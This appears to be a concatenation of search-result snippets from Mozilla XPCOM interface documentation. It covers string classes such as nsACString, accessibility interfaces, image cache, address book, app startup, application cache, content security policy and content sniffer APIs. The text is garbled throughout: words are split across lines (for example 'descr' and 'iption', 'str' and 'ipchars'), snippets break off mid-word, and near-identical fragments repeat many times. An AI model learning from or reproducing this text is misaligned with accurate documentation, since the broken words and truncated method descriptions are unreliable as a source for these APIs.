eading endreading charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral operator= replace append appendliteral operator+= insert cut truncate str
ipchars str
ipwhitespace trim defaultcomparator compare(const char*, print32 (*) compare(const nsacstring&, print32 (*) equals(const char*, print32 (*) equals(const nsacstring&, print32 (*) operator< operator<= operator== operator>= operator> operator!= equalsliteral ...
... trim void trim(const char*, prbool, prbool) - source parameters char...
... trim void trim(const char*, prbool, prbool) - source parameters char aset prbool aleading ...
... cut void cut(pruint32, pruint32) - source parameters pruint32 cutstart pruint32 cutlength truncate void truncate() - source str
ipchars void str
ipchars(const char*) - source remove all occurrences of characters in aset from the string. parameters char aset str
ipwhitespace void str
ipwhitespace() - source str
ip whitespace characters from the string. trim void trim(const char*, prbool, prbool) - source parameters char aset prbool aleading prbool atrailing defaultcomparator print32 defaultcomparator(const char*, const char*, pruint32) - source paramete...
nsCString external
opt beginreading endreading charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral replace append appendliteral operator+= insert cut truncate str
ipchars str
ipwhitespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral find rfind findchar rfindchar appendint tointeger base classes nscstringcontainer data memb...
... trim void trim(const char*, prbool, prbool) - source parameters cha...
... trim void trim(const char*, prbool, prbool) - source parameters char* aset prbool aleadin...
... cut void cut(pruint32, pruint32) - source parameters pruint32 cutstart pruint32 cutlength truncate void truncate() - source str
ipchars void str
ipchars(const char*) - source remove all occurrences of characters in aset from the string. parameters char* aset str
ipwhitespace void str
ipwhitespace() - source str
ip whitespace characters from the string. trim void trim(const char*, prbool, prbool) - source parameters char* aset prbool aleading prbool atrailing defaultcomparator print32 defaultcomparator(const char*, const char*, pruint32) - source paramet...
nsDependentCString external
opt beginreading endreading charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral replace append appendliteral operator+= insert cut truncate str
ipchars str
ipwhitespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral find rfind findchar rfindchar appendint tointeger base classes nscstring_external data memb...
... trim void trim(const char*, prbool, prbool) - source parameters cha...
... trim void trim(const char*, prbool, prbool) - source parameters char* aset prbool aleadin...
... cut void cut(pruint32, pruint32) - source parameters pruint32 cutstart pruint32 cutlength truncate void truncate() - source str
ipchars void str
ipchars(const char*) - source remove all occurrences of characters in aset from the string. parameters char* aset str
ipwhitespace void str
ipwhitespace() - source str
ip whitespace characters from the string. trim void trim(const char*, prbool, prbool) - source parameters char* aset prbool aleading prbool atrailing defaultcomparator print32 defaultcomparator(const char*, const char*, pruint32) - source paramet...
nsDependentCSubstring external
eading endreading charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral operator= replace append appendliteral operator+= insert cut truncate str
ipchars str
ipwhitespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral find rfind findchar rfindchar appendint tointeger base classes nscstringcontainer data memb...
... trim void trim(const char*, prbool, prbool) - source parameters cha...
... trim void trim(const char*, prbool, prbool) - source parameters char* aset prbool aleadin...
... cut void cut(pruint32, pruint32) - source parameters pruint32 cutstart pruint32 cutlength truncate void truncate() - source str
ipchars void str
ipchars(const char*) - source remove all occurrences of characters in aset from the string. parameters char* aset str
ipwhitespace void str
ipwhitespace() - source str
ip whitespace characters from the string. trim void trim(const char*, prbool, prbool) - source parameters char* aset prbool aleading prbool atrailing defaultcomparator print32 defaultcomparator(const char*, const char*, pruint32) - source paramet...
nsDependentString external
opt beginreading endreading charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral replace append appendliteral operator+= insert cut truncate str
ipchars str
ipwhitespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral lowercaseequalsliteral find rfind findchar rfindchar appendint tointeger base classes...
... trim void trim(const char*, prbool, prbool) - source parameters cha...
... trim void trim(const char*, prbool, prbool) - source parameters char* aset prbool aleadin...
... cut void cut(pruint32, pruint32) - source parameters pruint32 cutstart pruint32 cutlength truncate void truncate() - source str
ipchars void str
ipchars(const char*) - source remove all occurrences of characters in aset from the string. parameters char* aset str
ipwhitespace void str
ipwhitespace() - source str
ip whitespace characters from the string. trim void trim(const char*, prbool, prbool) - source parameters char* aset prbool aleading prbool atrailing defaultcomparator print32 defaultcomparator(const prunichar*, const prunichar*, pruint32) - source ...
nsDependentSubstring external
eading endreading charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral operator= replace append appendliteral operator+= insert cut truncate str
ipchars str
ipwhitespace trim defaultcomparator compare(const prunichar*, print32 (*) compare(const nsastring&, print32 (*) equals(const prunichar*, print32 (*) equals(const nsastring&, print32 (*) operator< operator<= operator== operator>= operator> operator!= equalsliteral ...
... trim void trim(const char*, prbool, prbool) - source parameters char...
... trim void trim(const char*, prbool, prbool) - source parameters char aset prbool aleading ...
... cut void cut(pruint32, pruint32) - source parameters pruint32 cutstart pruint32 cutlength truncate void truncate() - source str
ipchars void str
ipchars(const char*) - source remove all occurrences of characters in aset from the string. parameters char aset str
ipwhitespace void str
ipwhitespace() - source str
ip whitespace characters from the string. trim void trim(const char*, prbool, prbool) - source parameters char aset prbool aleading prbool atrailing defaultcomparator print32 defaultcomparator(const prunichar*, const prunichar*, pruint32) - source ...
nsLiteralCString (External)
opt beginreading endreading charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral replace append appendliteral operator+= insert cut truncate str
ipchars str
ipwhitespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral find rfind findchar rfindchar appendint tointeger base classes nscstring_external data memb...
... trim void trim(const char*, prbool, prbool) - source parameters cha...
... trim void trim(const char*, prbool, prbool) - source parameters char* aset prbool aleadin...
... cut void cut(pruint32, pruint32) - source parameters pruint32 cutstart pruint32 cutlength truncate void truncate() - source str
ipchars void str
ipchars(const char*) - source remove all occurrences of characters in aset from the string. parameters char* aset str
ipwhitespace void str
ipwhitespace() - source str
ip whitespace characters from the string. trim void trim(const char*, prbool, prbool) - source parameters char* aset prbool aleading prbool atrailing defaultcomparator print32 defaultcomparator(const char*, const char*, pruint32) - source paramet...
nsLiteralString (External)
opt beginreading endreading charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral replace append appendliteral operator+= insert cut truncate str
ipchars str
ipwhitespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral find rfind findchar rfindchar appendint tointeger base classes nscstring_external data memb...
... trim void trim(const char*, prbool, prbool) - source parameters cha...
... trim void trim(const char*, prbool, prbool) - source parameters char* aset prbool aleadin...
... cut void cut(pruint32, pruint32) - source parameters pruint32 cutstart pruint32 cutlength truncate void truncate() - source str
ipchars void str
ipchars(const char*) - source remove all occurrences of characters in aset from the string. parameters char* aset str
ipwhitespace void str
ipwhitespace() - source str
ip whitespace characters from the string. trim void trim(const char*, prbool, prbool) - source parameters char* aset prbool aleading prbool atrailing defaultcomparator print32 defaultcomparator(const char*, const char*, pruint32) - source paramet...
nsStringContainer (External)
eading endreading charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral operator= replace append appendliteral operator+= insert cut truncate str
ipchars str
ipwhitespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral lowercaseequalsliteral find rfind findchar rfindchar appendint tointeger base classes...
... trim void trim(const char*, prbool, prbool) - source parameters cha...
... trim void trim(const char*, prbool, prbool) - source parameters char* aset prbool aleadin...
... cut void cut(pruint32, pruint32) - source parameters pruint32 cutstart pruint32 cutlength truncate void truncate() - source str
ipchars void str
ipchars(const char*) - source remove all occurrences of characters in aset from the string. parameters char* aset str
ipwhitespace void str
ipwhitespace() - source str
ip whitespace characters from the string. trim void trim(const char*, prbool, prbool) - source parameters char* aset prbool aleading prbool atrailing defaultcomparator print32 defaultcomparator(const prunichar*, const prunichar*, pruint32) - source ...
nsString external
opt beginreading endreading charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral replace append appendliteral operator+= insert cut truncate str
ipchars str
ipwhitespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral lowercaseequalsliteral find rfind findchar rfindchar appendint tointeger base classes...
... trim void trim(const char*, prbool, prbool) - source parameters cha...
... trim void trim(const char*, prbool, prbool) - source parameters char* aset prbool aleadin...
... cut void cut(pruint32, pruint32) - source parameters pruint32 cutstart pruint32 cutlength truncate void truncate() - source str
ipchars void str
ipchars(const char*) - source remove all occurrences of characters in aset from the string. parameters char* aset str
ipwhitespace void str
ipwhitespace() - source str
ip whitespace characters from the string. trim void trim(const char*, prbool, prbool) - source parameters char* aset prbool aleading prbool atrailing defaultcomparator print32 defaultcomparator(const prunichar*, const prunichar*, pruint32) - source ...
IAccessibleTableCell
other-licenses/ia2/accessibletablecell.idlnot scr
iptable this interface gives access to the cells of a two-dimensional table. 1.0 66 introduced gecko 1.9.2 inherits from: iunknown last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) method overview [propget] hresult columnextent([out] long ncolumnsspanned ); [propget] hresult columnheadercells([out, size_is(, ncolumnheadercells,)] iunknown cellaccessibles, [out] long ncolumnheadercells ); [propget] hresult columnindex([out] long columnindex ); [propget] hresult isselected([out] boolean isselected ); [propget] hresult rowcolumnextents([out] long row, [out] long column, [out] long rowextents, [out] long columnextents, [out] boolean isselected ); [propget] hresult rowextent([out...
...long nrowsspanned ); [propget] hresult rowheadercells([out, size_is(, nrowheadercells,)] iunknown cellaccessibles, [out] long nrowheadercells ); [propget] hresult rowindex([out] long rowindex ); [propget] hresult table([out] iunknown table ); methods columnextent() returns the number of columns occupied by this cell accessible. the result is greater than 1 if the specified cell spans mult
iple columns. [propget] hresult columnextent( [out] long ncolumnsspanned ); parameters ncolumnsspanned returns the 1 based column extent of the specified cell. return value s_ok. columnheadercells() returns the column headers as an array of cell accessibles. [propget] hresult columnheadercells( [out, size_is(, ncolumnheadercells,)] iunknown cellaccessibles, [out] long ncolumnheadercells ); ...
...e returned array. return value s_false if there is no header, [out] values are null and 0 respectively. s_ok. columnindex() translates this cell accessible into the corresponding column index. [propget] hresult columnindex( [out] long columnindex ); parameters columnindex returns the 0 based column index of the cell of the specified cell or the index of the first column if the cell spans mult
iple columns. return value s_ok. isselected() returns a boolean value indicating whether this cell is selected. [propget] hresult isselected( [out] boolean isselected ); parameters isselected returns true if the specified cell is selected and false otherwise. return value s_ok. rowcolumnextents() gets the row and column indexes and extents of this cell accessible and whether or not it is selec...
...essibles returned; the size of the returned array. return value s_false if there is no header, [out] values are null and 0 respectively. s_ok. rowindex() translates this cell accessible into the corresponding row index. [propget] hresult rowindex( [out] long rowindex ); parameters rowindex returns the 0 based row index of the specified cell or the index of the first row if the cell spans mult
iple rows. return value s_ok. table() returns a reference to the accessbile of the containing table. [propget] hresult table( [out] iunknown table ); parameters table returns a reference to the iunknown of the containing table. return value s_ok. see also iaccessibletable2 ...
imgICache
image/public/imgicache.idlscr
iptable please add a summary to this article. inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) as of firefox 18, there is no longer a single image cache. that means that using getservice in order to obtain it will yield incorrect results. ...
... image/public/imgicache.idlscr
iptable please add a summary to this article. inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) as of firefox 18, there is no longer a single image cache. that means that using getservice in order to obtain it will yield incorrect results. ...
...gcacheforchannel(relevantchannel) if there is no relevant document or channel, null may be passed, but this will cause any image cache requests to use the permanent storage cache (ie. any images from windows in private browsing mode will not be present in the cache returned from a call with a null parameter). method overview void clearcache(in boolean chrome); ns
iproperties findentryproperties(in nsiuri uri); void removeentry(in nsiuri uri); methods clearcache() evict images from the cache. void clearcache( in boolean chrome ); parameters chrome if true, evict only chrome images. if false, evict everything except chrome images. findentryproperties() find properties used to get properties such as 'type' and 'conte...
...evict everything except chrome images. findentryproperties() find properties used to get properties such as 'type' and 'content-disposition' 'type' is a nsisupportscstring containing the images' mime type such as 'image/png' 'content-disposition' will be a nsisupportscstring containing the header if you call this before any data has been loaded from a uri, it will succeed, but come back empty. ns
iproperties findentryproperties( in nsiuri uri ); parameters uri the uri to look up. return value null if the url was not found in the cache. removeentry() evict images from the cache. void removeentry( in nsiuri uri ); parameters uri the uri to remove. exceptions thrown ns_ok if a uri was removed from the cache. ns_error_not_available ...
mozIVisitInfoCallback
toolkit/components/places/public/moziasynchistory.idlscr
iptable this interface provides callback handling functionality for moziasynchistory.updateplaces() 1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 9.0 (firefox 9.0 / thunderbird 9.0 / seamonkey 2.6) method overview void handleerror(in nsresult aresultcode, in moz
iplaceinfo aplaceinfo); void handleresult(in moz
iplaceinfo aplaceinfo); void oncomplete(in nsresult aresultcode, in moz
iplaceinfo aplaceinfo);obsolete since gecko 8.0 methods handleerror() called when a moz
iplaceinfo couldn't be processed. ...
... aplaceinfo the information that was unable to be processed. handleresult() called for each visit added, title change, or guid change when passed to moziasynchistory.updateplaces(). ...
...resultcode nsresult indicating the reason why the change failed. aplaceinfo the information that was unable to be processed. handleresult() called for each visit added, title change, or guid change when passed to moziasynchistory.updateplaces(). if more than one operation is done for a given visit, this method is only called once (for all changes at once). ...
... aplaceinfo the information that was being entered into the database. notes this method was replaced by the separate handleresult() and handleerror() methods in gecko 8.0 (firefox 8.0 / thunderbird 8.0 / seamonkey 2.5). ...
nsIAbCard
the nsiabcard interface is used to represent and man
ipulate cards in the addressbook. following a huge refactoring of the address book code, most of the documentation below is out of date. properties aren't stored anymore on the card, except for a handful of them. complex properties are expected to be accessed through a call to getproperty. see //github.com/realityr
ipple/uxp/blob/master//mailnews/addrbook/public/nsiabcard.idl for more details. inherits from: nsisupports method overview astring getcardvalue(in string name) void setcardvalue(in string attrname, in astring value) void copy(in nsiabcard srccard) boolean equals(in nsiabcard card) string converttobase64encodedxml() astring converttoxmlprintdata() string conv...
... nsiabcard srccard) boolean equals(in nsiabcard card) string converttobase64encodedxml() astring converttoxmlprintdata() string converttoescapedvcard() astring generatename(in long agenerateformat,[optional] in nsistringbundle abundle) astring generatephoneticname(in boolean alastnamefirst) attributes attribute type descr
iption firstname astring lastname astring phoneticfirstname astring phoneticlastname astring displayname astring nickname astring primaryemail astring secondemail astring workphone astring homephone astring faxnumber ast...
... cellularnumber astring workphonetype astring homephonetype astring faxnumbertype astring pagernumbertype astring cellularnumbertype astring homeaddress astring homeaddress2 astring homecity astring homestate astring homez
ipcode astring homecountry astring workaddress astring workaddress2 astring workcity astring workstate astring workz
ipcode astring workcountry astring jobtitle astring department astring company astring aimscreennam...
... prefermailformat unsigned long allowed values are stored in nsiabprefermailformat. ismaillist boolean maillisturi string if ismaillist is true then maillisturi will contain the uri of the associated mailing list. allowremotecontent boolean allow remote content to be displayed in html mail received from this contact methods...
nsIAccessibilityService
accessible/public/nsiaccessibilityservice.idlscr
iptable please add a summary to this article. ...
... accessible/public/nsiaccessibilityservice.idlscr
iptable please add a summary to this article. ...
...accessible createhtmltablecellaccessible(in nsisupports aframe); nsiaccessible createhtmltableheadaccessible(in nsidomnode adomnode); nsiaccessible createhtmltextaccessible(in nsisupports aframe); nsiaccessible createhtmltextfieldaccessible(in nsisupports aframe); nsiaccessible createhtmlcaptionaccessible(in nsisupports aframe); nsiaccessible getaccessible(in nsidomnode anode, in ns
ipresshell apresshell, in nsiweakreference aweakshell, inout nsiframe framehint, out boolean aishidden); nsiaccessible addnativerootaccessible(in voidptr aatkaccessible); void removenativerootaccessible(in nsiaccessible arootaccessible); void invalidatesubtreefor(in ns
ipresshell apresshell, in nsicontent achangedcontent, in pruint32 aevent); methods removenativerootaccessible() void r...
...d removenativerootaccessible( in nsiaccessible arootaccessible ); invalidatesubtreefor() invalidate the accessibility cache associated with apresshell, for accessibles that were generated for acontainercontent and it's subtree. the container content node for the change is passed in, rather than the changed presentation for the content node itself. void invalidatesubtreefor( in ns
ipresshell apresshell, in nsicontent achangedcontent, in pruint32 aevent ); parameters <tt>apresshell</tt> the presshell where changes occured. <tt>achangedcontent</tt> the affected dom content. <tt>aevent</tt> the event from nsiaccessibleevent that caused the change. must be one of: event_reorder (change) event_show (make visible or create) or event_hide (destroy or hide) ...
nsIAccessibleEditableText
the operations it supports includes setting text attributes and text contents while also replacing old text of an object with new text. it also includes and support basic operations such as, inserting text, copying text, cutting text, pasting text and deleting text at the specified position. ...
...ng startpos, in long endpos); void deletetext(in long startpos, in long endpos); void inserttext(in astring text, in long position); void pastetext(in long position); void setattributes(in long startpos, in long endpos, in nsisupports attributes); unimplemented void settextcontents(in astring text); attributes attribute type descr
iption associatededitor nsieditor returns an editor associated with the accessible. read only. native code only! methods copytext() copies the text range into the cl
ipboard. void copytext( in long startpos, in long endpos ); parameters startpos start offset of the text to be copied into the cl
ipboard. endpos end offset of the text to be copied into the cl
ipboard...
...sible. read only. native code only! methods copytext() copies the text range into the cl
ipboard. void copytext( in long startpos, in long endpos ); parameters startpos start offset of the text to be copied into the cl
ipboard. endpos end offset of the text to be copied into the cl
ipboard. exceptions thrown ns_error_failure indicates the text cannot be copied into the cl
ipboard. cuttext() deletes a range of text and copies it to the cl
ipboard. void cuttext( in long startpos, in long endpos ); parameters startpos start offset of the text to be deleted and copied to cl
ipboard. endpos end offset of the text to be copied into the cl
ipboard. exceptions thrown ns_error_failure indicates the text cannot be deleted or copied into the cl
ipboard. dele...
...ptions thrown ns_error_failure indicates the text cannot be deleted. inserttext() inserts text at the specified position. void inserttext( in astring text, in long position ); parameters text text to be inserted. position the offset at which to insert the text. exceptions thrown ns_error_failure indicates the text cannot be inserted. pastetext() pastes text from the cl
ipboard. void pastetext( in long position ); parameters position the offset at which to insert the text from the system cl
ipboard into the text represented by this object. exceptions thrown ns_error_failure indicates the text cannot be pasted from the cl
ipboard. setattributes() sets the attributes for the text between the two given indices. the old attributes are replaced by the ne...
nsIAccessibleHyperLink
is normally 1 for anchors. this anchor is, for example, the visible output of the html:a tag. ...
...erties and methods. inherits from: nsisupports last changed in gecko 1.9 (firefox 3) method overview nsiaccessible getanchor(in long index); note: renamed from getobject in gecko 1.9 nsiuri geturi(in long index); boolean isselected(); obsolete since gecko 1.9 boolean isvalid(); obsolete since gecko 1.9 attributes attribute type descr
iption anchorcount long the number of anchors within this hyperlink. is normally 1 for anchors. this anchor is, for example, the visible output of the html:a tag. with an image map, reflects the actual areas within the map. read only. note: renamed from anchors in gecko 1.9 exceptions thrown ns_error_failure indicates that the accessible is unattached from th...
...is invalid via the aria-invalid='true' attribute. in all other cases, true is returned. exceptions thrown ns_error_failure indicates that the accessible is unattached from the accessible tree. methods returns a reference to the object at the given index. note: aria hyperlinks do not have an anchor accessible to point to, since clicks are processed via javascr
ipt. note: in the case of an image map there is more than one link represented by this accessible. nsiaccessible getanchor( in long index ); parameters index the 0-based index whose object is to be returned. return value the nsiaccessible object at the desired index. geturi() returns the uri at the given index. note: aria hyperlinks do not have an uri to point to, since clicks are pro...
...se of an image map there is more than one link represented by this accessible. nsiaccessible getanchor( in long index ); parameters index the 0-based index whose object is to be returned. return value the nsiaccessible object at the desired index. geturi() returns the uri at the given index. note: aria hyperlinks do not have an uri to point to, since clicks are processed via javascr
ipt. therefore this property does not work on aria links. nsiuri geturi( in long index ); parameters index the 0-based index of the uri to be returned. return value the nsiuri object containing the specifications for the uri. isselected() obsolete since gecko 1.9 (firefox 3) note: has been replaced by the selected attribute. boolean isselected(); parameters...
nsIAppStartup
it also helps in quitting applications as well. 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 9.0 (firefox 9.0 / thunderbird 9.0 / seamonkey 2.6) implemented by: @mozilla.org/toolkit/app-startup;1. ...
...this can be used, for example, when doing performance testing of the startup process to discount numbers for tests that were interrupted by a user prompt. nativeappsupport nsinativeappsupport getter for "native application support." read only. obsolete since gecko 1.9.1 ...
...port getter for "native application support." read only. obsolete since gecko 1.9.1 constants the following flags may be passed as the amode parameter to the quit() method. one and only one of the "quit" flags must be specified. the erestart flag may be bit-wise combined with one of the "quit" flags to cause the application to restart after it quits. constant value descr
iption econsiderquit 0x01 attempt to quit if all windows are closed. eattemptquit 0x02 try to close all windows, then quit if successful. eforcequit 0x03 force all windows to close, then quit. erestart 0x10 restart the application after quitting. the application will be restarted with the same profile and an empty command line. ere...
...rlastwindowclosingsurvivalarea(); parameters none. exitlastwindowclosingsurvivalarea() this method serves for situations when all application windows will be closed but we don't want to take this as a signal to quit the application. bracket the code where the last window could close with these. void exitlastwindowclosingsurvivalarea(); parameters none. getstartupinfo() returns a javascr
ipt object with events from startup and the timestamps indicating when they occurred. parameters none. return value a javascr
ipt object with the following fields. keys are the event names and their values are the times. events that didn't occur are not in the object. event identifier (key) descr
iption main time at which main application core was loaded. not...
nsIApplicationCache
1.0 66 introduced gecko 1.9.1 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) each application cache has a unique client id for use with nsicacheservice.opensession() method, to access the cache's entries. each entry in the cache can be marked with a set of types, specified in the constants section. all application caches with the same group id belong to a cache group. each group has one "active" cache that will service future loads. inactive caches are removed from the cache when no longer referenced. ...
...read only. clientid acstring the client id for this application cache. clients can open a session with nsicacheservice.createsession() using this client id and a storage policy of store_offline to access this cache. read only. groupid acstring the group id for this cache group. this is the uri of the c...
...ication cache. clients can open a session with nsicacheservice.createsession() using this client id and a storage policy of store_offline to access this cache. read only. groupid acstring the group id for this cache group. this is the uri of the cache manifest file. read only. usage unsigned long the disk usage of the application cache, in bytes. read only. constants constant value descr
iption item_manifest 1 this item is the application manifest. item_explicit 2 this item was explicitly listed in the application manifest. item_implicit 4 this item was navigated to in a top level browsing context, and named this cache's group as its manifest. item_dynamic 8 this item was added to the cache using the dynamic scr
ipting api. item_foreign 16 this item was listed in the applic...
...e. return value a bit field indicating the entry's types. see constants for a list of types. initashandle() init this application cache instance to just hold the group id and the client id to work just as a handle to the real cache. used on content process to simplify the application cache code. void initashandle( in acstring groupid, in acstring clientid ); parameters groupid missing descr
iption clientid missing descr
iption markentry() adds item types to a given entry. void markentry( in acstring key, in unsigned long typebits ); parameters key the key for the cache entry to which to add types. typebits a bit field indicating the types to add to the entry. see constants for a list of types. unmarkentry() removes types from a given entry. if the resulting entry has no types le...
nsIAuthPromptWrapper
the nsiauthpromptwrapper interface is an override of nsiauthprompt which performs some action on the data going through nsiauthprompt methods. persisting data from the prompts and using it to pre-fill subsequent prompts would be one such action. embedding/components/windowwatcher/public/nsiauthpromptwrapper.idlscr
iptable please add a summary to this article. ...
... performs some action on the data going through nsiauthprompt methods. persisting data from the prompts and using it to pre-fill subsequent prompts would be one such action. embedding/components/windowwatcher/public/nsiauthpromptwrapper.idlscr
iptable please add a summary to this article. ...
...nts/windowwatcher/public/nsiauthpromptwrapper.idlscr
iptable please add a summary to this article. last changed in gecko 1.7 inherits from: nsiauthprompt method overview void setpromptdialogs(in ns
iprompt dialogs); methods setpromptdialogs() this method sets a prompt dialog using the given dialog implementation which will be used to display the prompts. void setpromptdialogs( in ns
iprompt dialogs ); parameters dialogs the dialog implementation which will be used to display the prompts. ...
...ecko 1.7 inherits from: nsiauthprompt method overview void setpromptdialogs(in ns
iprompt dialogs); methods setpromptdialogs() this method sets a prompt dialog using the given dialog implementation which will be used to display the prompts. ...
nsIBlocklistService
xpcom/system/nsiblocklistservice.idlscr
iptable please add a summary to this article. ...
... please add a summary to this article. ...
...don, [optional] in astring appversion, [optional] in astring toolkitversion); unsigned long getpluginblockliststate(in ns
iplugintag plugin, [optional] in astring appversion, [optional] in astring toolkitversion); boolean isaddonblocklisted(in jsval addon, [optional] in astring appversion, [optional] in astring toolkitversion); constants constant value descr
iption state_not_blocked 0 state_softblocked 1 state_blocked 2 state_outdated 3 methods getaddonblockliststate() determine the blocklist state of an add-on. unsigned long getaddonblockliststate( in jsval addon, in astring appversion, optional in astring toolkitversion optional ); parameters addon the addon object w...
..., the version of the running application is used. toolkitversion optional the version of the toolkit we are checking in the blocklist. if this parameter is null, the version of the running toolkit is used. return value the blocklist state of the add-on, one of the constants. getpluginblockliststate() determine the blocklist state of a plugin. unsigned long getpluginblockliststate( in ns
iplugintag plugin, in astring appversion, optional in astring toolkitversion optional ); parameters plugin the plugin to get the state for. appversion optional the version of the application we are checking in the blocklist. if this parameter is null, the version of the running application is used. toolkitversion optional the version of the toolkit we are checking in th...
nsIContentFrameMessageManager
idl file: mozilla-central/source/dom/base/nsimessagemanager.idl inherits from: nsisyncmessagesender this interface provides the environment for scr
ipts that are loaded into content frames using the nsiframescr
iptloader interface. it enables these scr
ipts to receive messages from the chrome process and send messages back to the chrome process. frame scr
ipts can send either synchronous or asynchronous messages to the chrome process: for details on these messaging apis see the documentation for the nsicontentframemessagemanager's parent classes nsisyncmessagesender and nsimessagesender. methods void dump(in domstring astr); domstring atob(in domstring aasciistring); domstring btoa(in domstring abase64data); dump() prints the specified string to ...
... these messaging apis see the documentation for the nsicontentframemessagemanager's parent classes nsisyncmessagesender and nsimessagesender. methods void dump(in domstring astr); domstring atob(in domstring aasciistring); domstring btoa(in domstring abase64data); dump() prints the specified string to standard output. ...
... void dump(in domstring astr); domstring atob(in domstring aasciistring); domstring btoa(in domstring abase64data); dump() prints the specified string to standard output. parameters name type descr
iption astr string the message to log. atob() convert ascii base64 data to binary data. parameters name type descr
iption aasciistring string ascii string to decode. returns string: the decoded binary data. btoa() convert binary data to ascii base64 data . parameters name type descr
iption abase64data string binary data to encode as base64. returns string: the base64-encoded ascii string. attributes content nsidomwindow: the current top l...
... services.mm.addmessagelistener get content message manager from browser this could would run in a nsidomwindow scope. var acfmm = gbrowser.selectedbrowser._docshell.queryinterface(ci.nsiinterfacerequestor).getinterface(ci.nsicontentframemessagemanager); get content message manager from content window window here is a html window or any window inside a tab, this code would run from a framescr
ipt. var acfmm = window.queryinterface(ci.nsiinterfacerequestor) .getinterface(ci.nsidocshell) .queryinterface(ci.nsiinterfacerequestor) .getinterface(ci.nsicontentframemessagemanager); ...
nsIContentSecurityPolicy
content/base/public/nsicontentsecuritypolicy.idlscr
iptable describes an xpcom component used to model and enforce content security policies. 1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview boolean permitsancestry(in nsidocshell docshell); void refinepolicy(in astring policystring, in nsiuri selfuri); void scanrequestdata(in nsihttpchannel achannel); void sendreports(in astring blockeduri, in astring violateddirective); short shouldload(in unsigned long acontenttype, in nsiuri acontentlocation, in nsiuri arequestorigin, in nsisupports acontext, in acstring amimetypeguess, in nsisupports aextra); short shouldprocess(in unsigned long acontenttype, in nsiu...
...calls to this may trigger violation reports when queried, so this value should not be cached. read...
...calls to this may trigger violation reports when queried, so this value should not be cached. read only. ...
...calls to this may trigger violation reports when queried, so this value should not be cached. read only. isinitialized boolean set to true when the content security policy has been read in and parsed and is ready to enforce. ...
nsIContentSniffer
components implementing this interface can determine a mime type from a chunk of bytes. inherits from: nsisupports last changed in gecko 1.9 (firefox 3) to implement this interface use net-content-sniffers category. see netwerk/build/nsnetcid.h about ns_content_sniffer_category. method overview acstring getmimetypefromcontent(in nsirequest arequest, [const,array,size_is(alength)] in octet adata, in unsigned long alength); methods getmimetypefromcontent() given a chunk of data, determines a mime type. information from the given request may be used in order to make a better decision. ...
...uest where this data came from. may be null. adata data to check. alength length of the data. return value the content type. example how to read content from adata. ...
...xample how to read content from adata. ...
...-1"; try { // this pref has been removed, see bug 910192 charset = services.prefs.getcomplexvalue("intl.charset.default", ci.ns
ipreflocalizedstring).data; } catch (e) { } let conv = cc["@mozilla.org/intl/scr
iptableunicodeconverter"] .createinstance(ci.nsiscr
iptableunicodeconverter); conv.charset = charset; try { let str = conv.convertfrombytearray(adata, alength); if (str.substring(0, 5) == "%pdf-") return "application/pdf"; // we detected a pdf file } catch (e) { // try to get information from arequest } ...
nsIDOMFontFace
read only. ...
...gecko 7.0 inherits from: nsisupports last changed in gecko 7.0 (firefox 7.0 / thunderbird 7.0 / seamonkey 2.4) this object describes a single font. it's returned in a list you can get using inidomutils.getusedfontfaces(). attributes font source attributes these attributes indicate how the font was found during the font matching process. note: the same physical font may have been found in mult
iple ways within a range. attribute type descr
iption fromfontgroup boolean indicates whether or not the font was located in a font group. read only. fromlanguageprefs boolean indicates whether or not the font was located using language preferences. read only. fromsystemfallback boolean indicates whether or not the font is the system fallback font. read only. attributes available for all ...
...p boolean indicates whether or not the font was located in a font group. read only. fromlanguageprefs boolean indicates whether or not the font was located using language preferences. read only. fromsystemfallback boolean indicates whether or not the font is the system fallback font. read only. attributes available for all fonts these attributes are always available. attribute type descr
iption cssfamilyname domstring a family name that could be used in css font-family (not necessarily the actual name that was used, due to aliases, generics, localized names, and so on). read only. name domstring full font name as obtained from the font resource. read only. attributes only available when specified with @font-face these attributes only have meaningful values when the font is a ...
...used in css font-family (not necessarily the actual name that was used, due to aliases, generics, localized names, and so on). read only. name domstring full font name as obtained from the font resource. read only. attributes only available when specified with @font-face these attributes only have meaningful values when the font is a user font defined using @font-face. attribute type descr
iption format domstring the font format. read only. localname domstring null if not a src:local(...) rule. read only. metadata domstring xml metadata from woff file(if any). read only. rule nsidomcssfontfacerule null if no associated @font-face rule. read only. srcindex long index in the rule's src list, -1 if no @font-face rule. read only. uri domstring null if not a downloaded font, th...
nsIDOMSimpleGestureEvent
mozmagnifygesturestart - generated when the user begins the magnify ("pinch") gesture. the "delta" value represents the initial movement. ...
